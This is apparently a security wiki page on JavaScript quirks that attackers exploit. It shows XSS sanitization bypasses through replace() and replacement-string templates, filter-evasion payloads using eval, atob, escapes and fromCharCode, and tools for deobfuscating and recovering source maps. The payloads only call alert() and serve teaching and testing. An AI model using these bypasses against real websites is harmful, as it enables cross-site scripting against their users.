JavaScript

A very popular language used to create interactivity on the web, and on the backend using NodeJS

pageNodeJS

Common Pitfalls

String Replacement

replace vs replaceAll

You might be surprised to see that replace() doesn't actually replace all the characters it finds, only the first match. Instead, replaceAll() should be used if you want to replace every occurrence. This can be useful if a developer thinks they sanitized user input with this function, and tested it with only one character, while an attacker can just input one dummy character at the start that will be replaced and afterward continue with the payload unsanitized:

> 'AAAA'.replace('A', 'B')
'BAAA'
> 'AAAA'.replaceAll('A', 'B')
'BBBB'
// Seems "safe"
> '<svg onload=alert()>'.replace('<', '&lt;').replace('>', '&gt;')
'&lt;svg onload=alert()&gt;'
// Expoitable with multiple characters
> '<><svg onload=alert()>'.replace('<', '&lt;').replace('>', '&gt;')
'&lt;&gt;<svg onload=alert()>'

Replacement String Templates

The second argument to replace() functions determine what should be put in place of the matched part. It might come as a surprise that when this section is user-controlled input, there are some special character sequences that are not taken literally. The following sequences insert a special piece of text instead (source):

PatternInserts

$$

Inserts a "$" (escape sequence)

$&

Inserts the matched substring

$`

Inserts the portion of the string that precedes the matched substring

$'

Inserts the portion of the string that follows the matched substring

$n (RegExp only)

Inserts the nth (1-indexed) capturing group where n is a positive integer less than 100

$<name> (RegExp only)

Inserts the named capturing group where name is the group name

The $` and $' are especially interesting, as they repeat a preceding or following piece of text, which may contain otherwise blocked characters. A neat trick using mentioned here abuses this to repeat a </script> string that would normally be HTML encoded in the payload:

Intended functionality
payload = "alert()//"  // Naive attempt, will be quoted
payload = "</script><script>alert()//"  // Try to escape tag, will be encoded

encoded = JSON.stringify(payload.replaceAll('<', '&lt;').replaceAll('>', '&gt;'))
'<script>let a = REPLACE_ME</script>'.replace("REPLACE_ME", encoded)
<script>let a = "alert()//"</script>
<script>let a = "&lt;/script&gt;&lt;script&gt;alert()//"</script>
Exploit
payload = "$'$`alert()//"  // Insert '</script>' following, and '<script>' preceding
<script>let a = "</script><script>let a = alert()//"</script>

Filter Bypass

Often alphanumeric characters are allowed in a filter, so being able to decode Base64 and evaluate the result should be enough to do anything while bypassing a filter. Acquiring the primitives to do this decoding and evaluating however can be the difficult part as certain ways of calling the functions are blocked. The simplest idea is using atob to decode Base64, and then eval to evaluate the string:

> btoa("alert()")  // Encoding
'YWxlcnQoKQ=='
> atob("YWxlcnQoKQ")  // Decoding
'alert()'

eval(atob("YWxlcnQoKQ"))  // Obfuscated payload

Inside a String

When injecting inside of a JavaScript string (using " or ' quotes), you may be able to escape certain blocked characters using the following escape sequences with different properties:

  • \x41 = 'A': Hex escape, shortest! (CyberChef)

  • \u0041 = 'A': Unicode escape, non-ASCII characters too! (CyberChef)

  • \101 = 'A': Octal escapes, numeric-only payload! (CyberChef)

Other than these generic escapes, there are a few special characters that get their own escapes:

SyntaxMeaning

\\

Backslash

\'

Single quote

\"

Double quote

\`

Backtick

(0x0a) \n

New Line

(0x0d) \r

Carriage Return

(0x09) \t

Horizontal Tab

(0x0b) \v

Vertical Tab

(0x08) \b

Backspace

(0x0c) \f

Form Feed

When inside template literals (using ` backticks), you can use ${} expressions to evaluate inline JavaScript code which may contain any code you want to run, or evaluate to any string you need.

`${alert()}`
`${String.fromCharCode(97,110,121,116,104,105,110,103)}` -> 'anything'

Unrelated to strings, you can also use these templates as "tagged templates" to call functions without parentheses:

alert``

No alphanumeric characters

Without " quotes

RegExp objects can be defined by surrounding text with / slashes, and are automatically coerced into a string surrounded by slashes again. This can become valid executable JavaScript code in a few different ways:

eval(1+/1,alert(),1/+1)  // Use numbers to turn '/' into a divide
1/1,alert(),1/1

eval(unescape(/%2f%0aalert()%2f/))  // Use unescape() with URL encoding and newlines
//
alert()//

eval(/alert()/.source)  // Use .source to extract the inner text of RegExp
alert()

Another common method is using String.fromCharCode() chains to build out string character-by-character:

Python
>>> f"String.fromCharCode({','.join(str(ord(c)) for c in 'alert()')})"
'String.fromCharCode(97,108,101,114,116,40,41)'
eval(String.fromCharCode(97,108,101,114,116,40,41))
alert()

Comments

A few different and uncommon ways of creating comments in JavaScript:

alert()//Regular comment

alert()/*multiline
comment*/alert()

alert()<!--HTML comment

#!shebang comment (start of line only)

-->HTML comment (start of line only)

Reverse Engineering

Client-side javascript is often minified or obfuscated to make it more compact or harder to understand. Luckily there are many tools out there to help with this process of reverse engineering, like the manual JavaScript Deobfuscator. While manually trying to deobfuscate the code, dynamic analysis can be very helpful. If you find that a function decrypts some string to be evaluated for example, try throwing more strings into that function at runtime with breakpoints.

While doing it manually will get you further, sometimes it's quicker to use automated tools made for a specific obfuscator. The common obfuscator.io for example can be perfectly deobfuscated using webcrack, as well as minified/bundled code:

curl https://example.com/script.js | webcrack -o example

Sourcemaps

Bundled/minified code is often hard to read, even with the abovementioned tools. If you're lucky, a website might have published .map sourcemap files together with the minified code. These are normally used by the DevTools to recreate source code in the event of an exception while debugging. But we can use these files ourselves to recreate the exact source code to the level of comments and whitespace!

Viewing these in the DevTools is easy, just check the Sources -> Page -> Authored directory to view the source code if it exists:

It gets these from the special //# sourceMappingURL= comment at the end of minified JavaScript files, which are often the original URL appended with .map. Here is an example:

index.7808df6e.js
document.querySelector("button")?.addEventListener("click",(()=>{const e=Math.floor(101*Math.random());document.querySelector("p").innerText=`Hello, you are no. ${e}!`,console.log(e)}));
//# sourceMappingURL=index.7808df6e.js.map
index.7808df6e.js.map
{"mappings":"AAAAA,SAASC,cAAc,WAAWC,iBAAiB,SAAS,KAC1D,MAAMC,EAAcC,KAAKC,MAAsB,IAAhBD,KAAKE,UAEnCN,SAASC,cAAc,KAA8BM,UAAY,sBAAyBJ,KAC3FK,QAAQC,IAAIN,EAAA","sources":["src/script.ts"],"sourcesContent":["document.querySelector('button')?.addEventListener('click', () => {\n  const num: number = Math.floor(Math.random() * 101);\n  const greet: string = 'Hello';\n  (document.querySelector('p') as HTMLParagraphElement).innerText = `${greet}, you are no. ${num}!`;\n  console.log(num);\n});"],"names":["document","querySelector","addEventListener","num","Math","floor","random","innerText","console","log"],"version":3,"file":"index.7808df6e.js.map"}

These exists a tool sourcemapper that can take a URL and extract all the source code files:

$ sourcemapper -url https://parcel-greet.netlify.app/index.7808df6e.js.map -output example
[+] Retrieving Sourcemap from https://parcel-greet.netlify.app/index.7808df6e.js.map.
[+] Read 646 bytes, parsing JSON.
[+] Retrieved Sourcemap with version 3, containing 1 entries.
[+] Writing 280 bytes to example/src/script.ts.
[+] Done
$ cat example/src/script.ts
document.querySelector('button')?.addEventListener('click', () => {
  const num: number = Math.floor(Math.random() * 101);
  const greet: string = 'Hello';
  (document.querySelector('p') as HTMLParagraphElement).innerText = `${greet}, you are no. ${num}!`;
  console.log(num);
});

Last updated